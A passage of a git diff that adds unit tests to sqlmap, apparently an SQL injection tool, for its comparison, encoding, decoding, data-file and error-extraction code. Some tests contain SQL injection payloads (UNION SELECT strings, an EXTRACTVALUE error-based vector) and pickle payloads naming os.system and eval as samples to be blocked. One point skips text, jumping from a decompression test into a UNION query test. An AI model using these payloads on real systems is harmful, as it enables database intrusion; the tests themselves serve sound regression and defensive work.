(a, b)) + self.assertEqual(a.isalpha(), b.isalpha(), msg="char class changed: %r -> %r" % (a, b)) + + +class TestGetHostHeader(unittest.TestCase): + def test_with_port(self): + self.assertEqual(getHostHeader("http://h:8080/p"), "h:8080") + + def test_without_port(self): + self.assertEqual(getHostHeader("http://example.com/path"), "example.com") + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_comparison.py b/tests/test_comparison.py new file mode 100644 index 000000000..5f361e21c --- /dev/null +++ b/tests/test_comparison.py @@ -0,0 +1,132 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +The true/false/None response oracle (lib/request/comparison.py). + +The seqMatcher ratio path needs a live page template and is intentionally left +to --vuln. What IS pure and worth pinning here is the short-circuit decision +table: --string / --not-string / --regexp / --code matching, and the _adjust() +negative-logic flip. These are the rules that decide whether a payload counts +as True, and they are easy to break with a refactor. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.request.comparison import comparison, _adjust +from lib.core.common import removeReflectiveValues +from lib.core.settings import REFLECTED_VALUE_MARKER +from lib.core.data import conf, kb + + +def _reset_match_conf(): + conf.string = conf.notString = conf.regexp = conf.code = None + + +class TestStringMatch(unittest.TestCase): + def setUp(self): + _reset_match_conf() + kb.negativeLogic = False + + def tearDown(self): + _reset_match_conf() + + def test_string_present_is_true(self): + conf.string = "WELCOME" + self.assertTrue(comparison("xx WELCOME yy", None, code=200)) + + def test_string_absent_is_false(self): + conf.string = "WELCOME" + self.assertFalse(comparison("nothing here", None, code=200)) + + +class TestRegexpMatch(unittest.TestCase): + def setUp(self): + _reset_match_conf() + kb.negativeLogic = False + + def tearDown(self): + _reset_match_conf() + + def test_regexp_match_is_true(self): + conf.regexp = "id=\\d+" + self.assertTrue(comparison("user id=42 ok", None, code=200)) + + def test_regexp_nomatch_is_false(self): + conf.regexp = "id=\\d+" + self.assertFalse(comparison("user name", None, code=200)) + + +class TestCodeMatch(unittest.TestCase): + def setUp(self): + _reset_match_conf() + kb.negativeLogic = False + + def tearDown(self): + _reset_match_conf() + + def test_code_match_is_true(self): + conf.code = 200 + self.assertTrue(comparison("body", None, code=200)) + + def test_code_mismatch_is_false(self): + conf.code = 200 + self.assertFalse(comparison("body", None, code=404)) + + +class TestAdjustNegativeLogic(unittest.TestCase): + """_adjust flips the condition under negative logic (the raw-page scheme), + but leaves None untouched and never flips when getRatioValue is requested.""" + + def setUp(self): + _reset_match_conf() # negative logic only applies with no string/regexp/code set + + def tearDown(self): + _reset_match_conf() + kb.negativeLogic = False + + def test_plain_passthrough(self): + kb.negativeLogic = False + self.assertEqual(_adjust(True, False), True) + self.assertEqual(_adjust(False, False), False) + + def test_negative_logic_flips(self): + kb.negativeLogic = True + self.assertEqual(_adjust(True, False), False) + self.assertEqual(_adjust(False, False), True) + + def test_negative_logic_leaves_none(self): + kb.negativeLogic = True + self.assertIsNone(_adjust(None, False)) + + +class TestRemoveReflectiveValues(unittest.TestCase): + """Reflected payloads are masked before comparison so a page echoing the + injected string isn't mistaken for a True/different response. Note: the + masking engages for *bordered* payloads (containing non-alpha chars), which + is what real injection payloads look like.""" + + def test_reflected_payload_is_masked(self): + out = removeReflectiveValues(u"id=1 UNION SELECT 1,2,3 end", u"1 UNION SELECT 1,2,3") + self.assertIn(REFLECTED_VALUE_MARKER, out) + self.assertNotIn(u"UNION SELECT 1,2,3", out) + + def test_not_reflected_unchanged(self): + content = u"nothing reflected here" + self.assertEqual(removeReflectiveValues(content, u"1 AND 1=1"), content) + + def test_none_payload_unchanged(self): + content = u"id=1 AND 1=1 end" + self.assertEqual(removeReflectiveValues(content, None), content) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_convert.py b/tests/test_convert.py new file mode 100644 index 000000000..218b4a693 --- /dev/null +++ b/tests/test_convert.py @@ -0,0 +1,141 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Encoding / decoding / serialization round-trips and known vectors. +Covers: hex, base64 (std + url-safe), DBMS hex decode, byte<->text conversion, +JSON (de)serialization, restricted base64-pickle. +""" + +import os +import random +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms +bootstrap() + +from lib.core.convert import (decodeHex, encodeHex, decodeBase64, encodeBase64, + getBytes, getText, getUnicode, getOrds, + jsonize, dejsonize, base64pickle, base64unpickle) +from lib.core.common import decodeDbmsHexValue +from lib.core.enums import DBMS + +RND = random.Random(0xC0FFEE) + + +def _rand_bytes(maxlen=48): + return bytes(bytearray(RND.randint(0, 255) for _ in range(RND.randint(0, maxlen)))) + + +class TestHex(unittest.TestCase): + def test_known_vectors(self): + self.assertEqual(decodeHex("31323334", binary=True), b"1234") + self.assertEqual(getText(encodeHex(b"1234", binary=False)), "31323334") + + def test_roundtrip_property(self): + for _ in range(3000): + raw = _rand_bytes() + self.assertEqual(decodeHex(encodeHex(raw, binary=False), binary=True), raw) + + +class TestBase64(unittest.TestCase): + def test_known_vectors(self): + self.assertEqual(decodeBase64("MTIz", binary=True), b"123") + self.assertEqual(decodeBase64("MTIzNA", binary=True), b"1234") # missing padding + self.assertEqual(decodeBase64("MTIzNA==", binary=True), b"1234") + self.assertEqual(getText(encodeBase64(b"123", binary=False)), "MTIz") + # url-safe and standard alphabets must decode equivalently + self.assertEqual(decodeBase64("A-B_CDE", binary=True), decodeBase64("A+B/CDE", binary=True)) + + def test_roundtrip_property(self): + for _ in range(3000): + raw = _rand_bytes() + self.assertEqual(decodeBase64(encodeBase64(raw, binary=True), binary=True), raw) + self.assertEqual(decodeBase64(encodeBase64(raw, binary=True, safe=True), binary=True), raw) + self.assertEqual(decodeBase64(encodeBase64(raw, binary=True, padding=False), binary=True), raw) + + +class TestDecodeDbmsHexValue(unittest.TestCase): + # authoritative vectors taken from the function's own doctests + def test_known_vectors(self): + self.assertEqual(decodeDbmsHexValue("3132332031"), u"123 1") + self.assertEqual(decodeDbmsHexValue("31003200330020003100"), u"123 1") # utf-16-le shaped + self.assertEqual(decodeDbmsHexValue("00310032003300200031"), u"123 1") # utf-16-be shaped + self.assertEqual(decodeDbmsHexValue("0x31003200330020003100"), u"123 1") + self.assertEqual(decodeDbmsHexValue("313233203"), u"123 ?") # odd length + self.assertEqual(decodeDbmsHexValue(["0x31", "0x32"]), [u"1", u"2"]) # list input + + def test_ascii_roundtrip_property(self): + for _ in range(1000): + s = "".join(chr(RND.randint(0x20, 0x7e)) for _ in range(RND.randint(1, 30))) + if len(s) % 2 == 0: # avoid the deliberate odd-length '?' behavior + self.assertEqual(decodeDbmsHexValue(getText(encodeHex(getBytes(s), binary=False))), s) + + +class TestByteTextConversion(unittest.TestCase): + def test_ascii_roundtrip(self): + for _ in range(1000): + s = u"".join(unichr(RND.randint(0x20, 0x7e)) if sys.version_info[0] < 3 else chr(RND.randint(0x20, 0x7e)) for _ in range(RND.randint(0, 30))) + self.assertEqual(getUnicode(getBytes(s)), s) + + def test_unicode_roundtrip(self): + samples = [u"café", u"你好", u"\U0001F600", u"a’b™c"] + for s in samples: + self.assertEqual(getUnicode(getBytes(s)), s) + + def test_getords(self): + self.assertEqual(getOrds(b"AB"), [65, 66]) + + +class TestJson(unittest.TestCase): + def test_roundtrip(self): + for obj in [{"a": 1, "b": [1, 2, 3]}, [1, "x", None], {"nested": {"k": "v"}}, "str", 123]: + self.assertEqual(dejsonize(jsonize(obj)), obj) + + def test_jsonize_produces_text_not_identity(self): + # anchor: jsonize must serialize to a JSON string, not pass the object through + out = jsonize({"a": 1}) + self.assertIsInstance(out, str) + self.assertIn('"a"', out) + self.assertEqual(jsonize(123), "123") # int -> textual "123" + + +class TestBase64Pickle(unittest.TestCase): + # Types sqlmap actually serializes (injection objects, cached values, BigArray). + def test_roundtrip_allowed_types(self): + for obj in [[1, 2, 3], {"a": 1}, (1, 2), "text", 42, 3.14, True, None, {"k": [1, {"n": "v"}]}]: + self.assertEqual(base64unpickle(base64pickle(obj)), obj) + + # REGRESSION: under Python 3 + PICKLE_PROTOCOL=2 a raw `bytes` value is pickled via the + # `_codecs.encode` global. The RestrictedUnpickler allowlist (patch.py) once rejected that, + # so any serialized session value containing bytes failed to load on py3. The fix allows + # exactly `_codecs.encode` (a benign codec call). Bytes MUST round-trip on both py2 and py3. + def test_bytes_roundtrip(self): + for raw in [b"x", b"\x00\x01\xff", b"\xde\xad\xbe\xef"]: + self.assertEqual(base64unpickle(base64pickle(raw)), raw, msg="bytes round-trip %r" % raw) + + def test_bytes_nested_in_container_roundtrip(self): + for obj in [{"a": b"bytes"}, [b"ab", "s", 1, None], ("t", b"\xde\xad")]: + self.assertEqual(base64unpickle(base64pickle(obj)), obj, msg="nested-bytes round-trip %r" % (obj,)) + + def test_dangerous_globals_still_blocked(self): + # bootstrap() installs sqlmap's RestrictedUnpickler over pickle.loads. These are VALID + # pickles that reference os.system / builtins.eval - stdlib would import them happily; the + # allowlist must reject them. Assert the SPECIFIC "forbidden" ValueError (not just any + # error) so the test proves the allowlist fired, not that the bytes failed to parse. + import pickle + for payload in (b"cos\nsystem\n.", b"c__builtin__\neval\n."): + try: + pickle.loads(payload) + self.fail("dangerous global was NOT blocked: %r" % payload) + except ValueError as ex: + self.assertIn("forbidden", str(ex), msg="unexpected error for %r: %s" % (payload, ex)) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_datafiles.py b/tests/test_datafiles.py new file mode 100644 index 000000000..9308bb349 --- /dev/null +++ b/tests/test_datafiles.py @@ -0,0 +1,124 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Repo / data-file invariants - the cheap structural guards that catch whole +bug classes seen this session: tamper contract, per-DBMS query-tag coverage, +errors.xml regex compilation, XML well-formedness, and source ASCII-safety +(the py2 'no coding header' constraint). +""" + +import os +import re +import sys +import glob +import importlib +import unittest +import xml.etree.ElementTree as ET + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, ROOT +bootstrap() + + +class TestTamperContract(unittest.TestCase): + def test_every_tamper_has_contract(self): + names = [os.path.basename(f)[:-3] for f in glob.glob(os.path.join(ROOT, "tamper", "*.py")) + if not f.endswith("__init__.py")] + self.assertGreater(len(names), 50) # sanity: we expect ~70 + for name in names: + mod = importlib.import_module("tamper.%s" % name) + self.assertTrue(callable(getattr(mod, "tamper", None)), msg="%s: no tamper()" % name) + self.assertTrue(hasattr(mod, "__priority__"), msg="%s: no __priority__" % name) + # dependencies() is OPTIONAL (e.g. randomcomments omits it); if present it must be callable + dep = getattr(mod, "dependencies", None) + self.assertTrue(dep is None or callable(dep), msg="%s: non-callable dependencies" % name) + + def test_every_tamper_priority_is_valid(self): + # __priority__ must be one of the PRIORITY enum values (or None) - a typo'd priority + # silently mis-orders the tamper chain (_setTamperingFunctions sorts on it) + from lib.core.enums import PRIORITY + valid = set(v for n, v in vars(PRIORITY).items() if not n.startswith("_")) + names = [os.path.basename(f)[:-3] for f in glob.glob(os.path.join(ROOT, "tamper", "*.py")) + if not f.endswith("__init__.py")] + for name in names: + mod = importlib.import_module("tamper.%s" % name) + priority = getattr(mod, "__priority__", None) + self.assertTrue(priority is None or priority in valid, + msg="%s: __priority__ %r is not a PRIORITY value" % (name, priority)) + + +class TestQueriesXmlCoverage(unittest.TestCase): + CORE_TAGS = ("cast", "substring", "length", "count", "inference", "comment") + + def test_every_dbms_has_core_tags(self): + tree = ET.parse(os.path.join(ROOT, "data", "xml", "queries.xml")) + dbmses = tree.findall(".//dbms") + self.assertGreaterEqual(len(dbmses), 25) + for dbms in dbmses: + present = set(child.tag for child in dbms.iter()) + missing = [t for t in self.CORE_TAGS if t not in present] + self.assertEqual(missing, [], msg="%s missing core tags: %s" % (dbms.get("value"), missing)) + + +class TestErrorsXmlCompile(unittest.TestCase): + def test_all_error_regexes_compile(self): + tree = ET.parse(os.path.join(ROOT, "data", "xml", "errors.xml")) + regexes = [e.get("regexp") for e in tree.findall(".//error")] + self.assertGreater(len(regexes), 100) + for rgx in regexes: + try: + re.compile(rgx) + except re.error as ex: + self.fail("errors.xml regex does not compile: %r (%s)" % (rgx, ex)) + + +class TestXmlWellFormed(unittest.TestCase): + def test_core_xml_parses(self): + for rel in ("queries.xml", "boundaries.xml", "errors.xml", + os.path.join("payloads", "boolean_blind.xml"), + os.path.join("payloads", "union_query.xml")): + path = os.path.join(ROOT, "data", "xml", rel) + ET.parse(path) # raises on malformed + + +class TestSourceAsciiSafety(unittest.TestCase): + # sqlmap source files carry NO coding header, so any non-ASCII byte breaks py2 parsing. + # This guards the exact regression introduced (and fixed) earlier this session. + CODING_RE = re.compile(b"coding[:=]\\s*([-\\w.]+)") + + def test_lib_and_plugins_are_ascii(self): + offenders = [] + for base in ("lib", "plugins"): + for path in glob.glob(os.path.join(ROOT, base, "**", "*.py"), recursive=True) if sys.version_info >= (3, 5) \ + else self._walk(os.path.join(ROOT, base)): + with open(path, "rb") as f: + head = f.read(256) + data = head + f.read() + if self.CODING_RE.search(head): # explicit coding header -> non-ASCII allowed + continue + try: + data.decode("ascii") + except UnicodeDecodeError: + offenders.append(os.path.relpath(path, ROOT)) + self.assertEqual(offenders, [], msg="non-ASCII source w/o coding header (breaks py2): %s" % offenders) + + @staticmethod + def _walk(top): + for dirpath, _, files in os.walk(top): + for fn in files: + if fn.endswith(".py"): + yield os.path.join(dirpath, fn) + + +class TestSettingsIntegrity(unittest.TestCase): + def test_milestone_and_version(self): + from lib.core.settings import HASHDB_MILESTONE_VALUE, VERSION + self.assertTrue(HASHDB_MILESTONE_VALUE) + self.assertTrue(re.match(r"^\d+\.\d+\.\d+", VERSION), msg="unexpected VERSION %r" % VERSION) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_datatypes.py b/tests/test_datatypes.py new file mode 100644 index 000000000..0bdb18a00 --- /dev/null +++ b/tests/test_datatypes.py @@ -0,0 +1,96 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Core data structures: AttribDict, OrderedSet, LRUDict, BigArray. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.datatype import AttribDict, OrderedSet, LRUDict +from lib.core.bigarray import BigArray + + +class TestAttribDict(unittest.TestCase): + def test_attr_access(self): + a = AttribDict({"x": 1}) + self.assertEqual(a.x, 1) + a.y = 2 + self.assertEqual(a["y"], 2) + self.assertEqual(a.get("missing", "def"), "def") + + def test_missing_attr_raises(self): + a = AttribDict() + self.assertRaises(AttributeError, lambda: a.nope) + + +class TestOrderedSet(unittest.TestCase): + def test_order_and_dedup(self): + s = OrderedSet() + for v in [3, 1, 3, 2, 1, 2]: + s.add(v) + self.assertEqual(list(s), [3, 1, 2]) + self.assertIn(2, s) + self.assertNotIn(9, s) + self.assertEqual(len(s), 3) + + +class TestLRUDict(unittest.TestCase): + def test_capacity_eviction(self): + l = LRUDict(capacity=2) + l["a"] = 1 + l["b"] = 2 + _ = l["a"] # touch 'a' so 'b' becomes least-recently-used + l["c"] = 3 # evicts 'b' + self.assertEqual(sorted(l.keys()), ["a", "c"]) + self.assertNotIn("b", l) + + def test_values_retained(self): + l = LRUDict(capacity=3) + for i, k in enumerate("abc"): + l[k] = i + self.assertEqual(l["a"], 0) + self.assertEqual(l["c"], 2) + + def test_capacity_one(self): + # extreme: each write evicts the previous key + l = LRUDict(capacity=1) + l["x"] = 1 + l["y"] = 2 + self.assertNotIn("x", l) + self.assertEqual(l["y"], 2) + self.assertEqual(list(l.keys()), ["y"]) + + +class TestBigArray(unittest.TestCase): + def test_basic_ops(self): + b = BigArray() + for i in range(50): + b.append(i) + self.assertEqual(len(b), 50) + self.assertEqual(b[0], 0) + self.assertEqual(b[49], 49) + self.assertEqual(b[-1], 49) # negative indexing + self.assertEqual(list(b)[:3], [0, 1, 2]) + + def test_empty_index_raises(self): + self.assertRaises(IndexError, lambda: BigArray()[0]) + + def test_roundtrip_values(self): + b = BigArray() + data = list(range(100)) + for v in data: + b.append(v) + self.assertEqual([b[i] for i in range(len(b))], data) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_decodepage.py b/tests/test_decodepage.py new file mode 100644 index 000000000..01eb899c4 --- /dev/null +++ b/tests/test_decodepage.py @@ -0,0 +1,81 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +HTTP response decoding (lib/request/basic.py decodePage). + +Every fetched page passes through decodePage: it inflates gzip/deflate bodies, +applies the charset, and guards against decompression bombs. A regression here +silently corrupts every response sqlmap compares, so the round-trips and the +malformed-input handling are pinned here. +""" + +import gzip +import io +import os +import sys +import unittest +import zlib + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.request.basic import decodePage +from lib.core.exception import SqlmapCompressionException + +BODY = b"Hello plain body content 12345 - no markup here" + + +def _gzip(data): + buf = io.BytesIO() + f = gzip.GzipFile(fileobj=buf, mode="wb") + f.write(data) + f.close() + return buf.getvalue() + + +def _raw_deflate(data): + # decodePage uses zlib.decompressobj(-15) => raw deflate (no zlib header) + co = zlib.compressobj(6, zlib.DEFLATED, -zlib.MAX_WBITS) + return co.compress(data) + co.flush() + + +class TestDecompression(unittest.TestCase): + def test_gzip_roundtrip(self): + # exact equality (not just substring): the whole body must decompress unchanged + out = decodePage(_gzip(BODY), "gzip", "text/html; charset=utf-8") + self.assertEqual(out, BODY.decode("utf-8")) + + def test_deflate_roundtrip(self): + out = decodePage(_raw_deflate(BODY), "deflate", "text/html") + self.assertEqual(out, BODY.decode("utf-8")) + + def test_identity_passthrough(self): + out = decodePage(BODY, None, "text/html") + self.assertEqual(out, BODY.decode("utf-8")) + # the exact-equality assertions above already imply a unicode return; a separate + # type-only test would be redundant. + + +class TestCharset(unittest.TestCase): + def test_utf8_decoded_to_unicode(self): + # several distinct multi-byte sequences (2/3/4-byte) must all decode intact + original = u"café — 你好 \U0001f512" + out = decodePage(original.encode("utf-8"), None, "text/html; charset=utf-8") + self.assertEqual(out, original) + + +class TestMalformed(unittest.TestCase): + def test_invalid_deflate_raises(self): + # zlib.compress() adds a 2-byte zlib header that raw-deflate decode rejects; + # body has no " the real column is slotted at index 1, NULLs elsewhere + set_dbms(DBMS.MYSQL) + q = agent.forgeUnionQuery("SELECT a FROM t", 1, 3, None, "", "", "NULL", None) + self.assertEqual(q, " UNION ALL SELECT NULL,a,NULL FROM t") + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_dicts.py b/tests/test_dicts.py new file mode 100644 index 000000000..a714956f1 --- /dev/null +++ b/tests/test_dicts.py @@ -0,0 +1,88 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Structural invariants of the data-mapping tables in lib/core/dicts.py. + +These tables drive DBMS recognition, connector selection, dummy-table dialect, +and dump formatting. They are pure data, so the right tests are shape/coverage +invariants: every back-end has a connector entry, alias lists are well-formed, +and the dialect maps carry the values the engine expects. +""" + +import os +import re +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core import dicts +from lib.core.enums import DBMS +from lib.core.common import getPublicTypeMembers + + +class TestDbmsDict(unittest.TestCase): + def test_every_dbms_enum_has_connector_entry(self): + # DBMS_DICT keys must cover every public DBMS enum value + enum_values = set(v for _, v in getPublicTypeMembers(DBMS)) + missing = enum_values - set(dicts.DBMS_DICT.keys()) + self.assertEqual(missing, set(), msg="DBMS without DBMS_DICT entry: %s" % missing) + + def test_entry_shape(self): + # each entry: (aliases-tuple, connector-name, connector-url, sqlalchemy-dialect) + self.assertGreaterEqual(len(dicts.DBMS_DICT), 25, msg="DBMS_DICT suspiciously small") + for name, entry in dicts.DBMS_DICT.items(): + self.assertEqual(len(entry), 4, msg="malformed DBMS_DICT entry for %s" % name) + aliases = entry[0] + self.assertIsInstance(aliases, (tuple, list), msg="aliases not list-like for %s" % name) + self.assertGreaterEqual(len(aliases), 1, msg="no aliases for %s" % name) + for a in aliases: # per-item, so a failure names the offending alias + self.assertIsInstance(a, str, msg="non-str alias %r for %s" % (a, name)) + + def test_aliases_are_lowercase(self): + for name, entry in dicts.DBMS_DICT.items(): + for alias in entry[0]: + self.assertEqual(alias, alias.lower(), msg="alias %r (for %s) is not lowercase" % (alias, name)) + + +class TestFromDummyTable(unittest.TestCase): + def test_oracle_uses_dual(self): + self.assertEqual(dicts.FROM_DUMMY_TABLE[DBMS.ORACLE], " FROM DUAL") + + def test_mysql_has_no_dummy_table(self): + # MySQL allows a bare SELECT, so it must NOT appear here + self.assertNotIn(DBMS.MYSQL, dicts.FROM_DUMMY_TABLE) + + def test_values_start_with_from(self): + # strict: must be (optional leading space) FROM - + # not just startswith("FROM"), which would accept "FROMX" or a bare "FROM" + for name, clause in dicts.FROM_DUMMY_TABLE.items(): + self.assertTrue(re.match(r"^\s*FROM\s+\S", clause.upper()), + msg="FROM_DUMMY_TABLE[%s]=%r is not a well-formed FROM clause" % (name, clause)) + + +class TestSqlStatements(unittest.TestCase): + def test_known_categories_present(self): + for category in ("SQL data definition", "SQL data manipulation", "SQL data control"): + self.assertIn(category, dicts.SQL_STATEMENTS, msg="missing SQL_STATEMENTS category %r" % category) + + def test_keywords_are_lowercase_tokens(self): + for category, keywords in dicts.SQL_STATEMENTS.items(): + self.assertTrue(len(keywords) >= 1, msg="empty category %r" % category) + for kw in keywords: + self.assertEqual(kw, kw.lower(), msg="keyword %r in %r not lowercase" % (kw, category)) + + +class TestDumpReplacements(unittest.TestCase): + def test_markers(self): + self.assertEqual(dicts.DUMP_REPLACEMENTS.get(""), "") + self.assertEqual(dicts.DUMP_REPLACEMENTS.get(" "), "NULL") + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_encoding.py b/tests/test_encoding.py new file mode 100644 index 000000000..f6fcd4174 --- /dev/null +++ b/tests/test_encoding.py @@ -0,0 +1,75 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Core text<->bytes conversions (lib/core/convert.py): getBytes, getUnicode, +getText. (getOrds is covered in test_convert.py.) + +These are called on essentially every request and response, on both Python 2 +and 3, and are the main thing standing between sqlmap and a UnicodeDecodeError +mid-scan. Pinned with known vectors, non-string coercion, and an encoding +round-trip property over multiple charsets. +""" + +import os +import random +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.convert import getBytes, getUnicode, getText + +RND = random.Random(2024) + + +class TestTypes(unittest.TestCase): + # value+type (not type alone): a stub returning b"" would pass an isinstance-only check, and + # on py3 a getBytes that wrongly returned str would slip past a round-trip on the unicode path + def test_getBytes_returns_bytes(self): + out = getBytes(u"abc") + self.assertIsInstance(out, bytes) + self.assertEqual(out, b"abc") + + def test_getUnicode_returns_unicode(self): + out = getUnicode(b"abc") + self.assertIsInstance(out, type(u"")) + self.assertEqual(out, u"abc") + + def test_getText_returns_native_str(self): + self.assertIsInstance(getText(b"abc"), str) + self.assertEqual(getText(b"abc"), "abc") + + +class TestCoercion(unittest.TestCase): + def test_getUnicode_of_number(self): + self.assertEqual(getUnicode(123), u"123") + + +class TestRoundTrip(unittest.TestCase): + def test_known_utf8(self): + self.assertEqual(getUnicode(getBytes(u"caf\xe9", "utf-8"), "utf-8"), u"caf\xe9") + + def test_property_multi_charset(self): + # printable BMP-ish range, round-trip through utf-8 and latin1-safe subset + for encoding, hi in (("utf-8", 0x2000), ("latin-1", 0x100)): + for _ in range(1000): + s = u"".join(unichr(RND.randint(0, hi - 1)) if sys.version_info[0] < 3 + else chr(RND.randint(0, hi - 1)) for _ in range(RND.randint(0, 16))) + self.assertEqual(getUnicode(getBytes(s, encoding), encoding), s, + msg="round-trip failed (%s): %r" % (encoding, s)) + + +# py2 has unichr, py3 does not; normalize so the file imports cleanly on both +try: + unichr +except NameError: + unichr = chr + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_error_engine.py b/tests/test_error_engine.py new file mode 100644 index 000000000..2c9b54c5a --- /dev/null +++ b/tests/test_error_engine.py @@ -0,0 +1,113 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +The error-based extraction engine (lib/techniques/error/use.py _oneShotErrorUse). + +Error-based SQLi coaxes the DBMS into emitting the target value inside an error +message, wrapped between two random delimiters (kb.chars.start/stop). The engine +fires the payload and pulls the value back out with a regex. We drive the REAL +_oneShotErrorUse against a mock oracle whose "error page" embeds a known secret +between those delimiters, and assert it recovers the value exactly - no live DBMS. + +Requires an error-technique injection context (kb.injection.data[...].vector with +[QUERY], plus the parameter context agent.payload needs). kb.errorChunkLength is +pre-set so the MySQL/MSSQL chunk-length probing loop is skipped. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms +bootstrap() + +from lib.core.data import conf, kb +from lib.core.datatype import AttribDict +from lib.core.enums import PAYLOAD, PLACE +from lib.request.connect import Connect +import lib.techniques.error.use as eu + + +def _make_vector(): + d = AttribDict() + d.vector = "AND EXTRACTVALUE(1,CONCAT(0x7e,([QUERY]),0x7e))" + d.where = PAYLOAD.WHERE.ORIGINAL + d.comment = "" + d.prefix = "" + d.suffix = "" + return d + + +class TestOneShotErrorUse(unittest.TestCase): + def setUp(self): + self._saved = { + "conf.hexConvert": conf.get("hexConvert"), "conf.charset": conf.get("charset"), + "conf.hashDB": conf.get("hashDB"), "conf.parameters": conf.get("parameters"), + "conf.paramDict": conf.get("paramDict"), "conf.base64Parameter": conf.get("base64Parameter"), + "kb.errorChunkLength": kb.get("errorChunkLength"), "kb.testMode": kb.get("testMode"), + "kb.forceWhere": kb.get("forceWhere"), "kb.technique": kb.get("technique"), + "kb.inj": (kb.injection.place, kb.injection.parameter, kb.injection.data), + "qp": Connect.queryPage, + } + conf.hexConvert = False + conf.charset = None + conf.hashDB = None + conf.parameters = {PLACE.GET: "id=1"} + conf.paramDict = {PLACE.GET: {"id": "1"}} + conf.base64Parameter = () + kb.errorChunkLength = 0 + kb.testMode = False + kb.forceWhere = None + kb.injection.place = PLACE.GET + kb.injection.parameter = "id" + kb.technique = PAYLOAD.TECHNIQUE.ERROR + kb.injection.data = {PAYLOAD.TECHNIQUE.ERROR: _make_vector()} + set_dbms("MySQL") + + def tearDown(self): + conf.hexConvert = self._saved["conf.hexConvert"] + conf.charset = self._saved["conf.charset"] + conf.hashDB = self._saved["conf.hashDB"] + conf.parameters = self._saved["conf.parameters"] + conf.paramDict = self._saved["conf.paramDict"] + conf.base64Parameter = self._saved["conf.base64Parameter"] + kb.errorChunkLength = self._saved["kb.errorChunkLength"] + kb.testMode = self._saved["kb.testMode"] + kb.forceWhere = self._saved["kb.forceWhere"] + kb.technique = self._saved["kb.technique"] + kb.injection.place, kb.injection.parameter, kb.injection.data = self._saved["kb.inj"] + Connect.queryPage = self._saved["qp"] + eu.Request.queryPage = self._saved["qp"] + + def _extract(self, secret, page_template="XPATH syntax error: '%s%s%s'"): + def oracle(payload=None, content=False, raise404=True, **kwargs): + page = page_template % (kb.chars.start, secret, kb.chars.stop) + return (page, {}, 200) if content else True + + Connect.queryPage = staticmethod(oracle) + eu.Request.queryPage = staticmethod(oracle) + return eu._oneShotErrorUse("SELECT CONCAT(user())") + + def test_simple_value(self): + self.assertEqual(self._extract("root@localhost"), "root@localhost") + + def test_version_string(self): + self.assertEqual(self._extract("5.7.31-0ubuntu0.18.04.1-log"), "5.7.31-0ubuntu0.18.04.1-log") + + def test_value_with_symbols(self): + self.assertEqual(self._extract("a-b_c.d:e/f"), "a-b_c.d:e/f") + + def test_no_markers_returns_none(self): + def oracle(payload=None, content=False, raise404=True, **kwargs): + return ("a perfectly ordinary page with no error", {}, 200) if content else True + Connect.queryPage = staticmethod(oracle) + eu.Request.queryPage = staticmethod(oracle) + self.assertIsNone(eu._oneShotErrorUse("SELECT CONCAT(user())")) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_hash.py b/tests/test_hash.py new file mode 100644 index 000000000..4ab5546c0 --- /dev/null +++ b/tests/test_hash.py @@ -0,0 +1,105 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Password-hashing primitives (lib/utils/hash.py) used by the dictionary-attack +cracker (-? / --passwords). These are pure functions; correctness here is what +makes a cracked password actually match the target hash. + +The generic hashes are cross-checked against the stdlib hashlib (an INDEPENDENT +oracle, not just a regression against sqlmap's own output). The DBMS-specific +algorithms (MySQL/MSSQL/Oracle/Postgres) are pinned to known vectors, and +hashRecognition's classification is exercised as a table. +""" + +import hashlib +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.utils import hash as H +from lib.core.enums import HASH + + +class TestGenericVsHashlib(unittest.TestCase): + 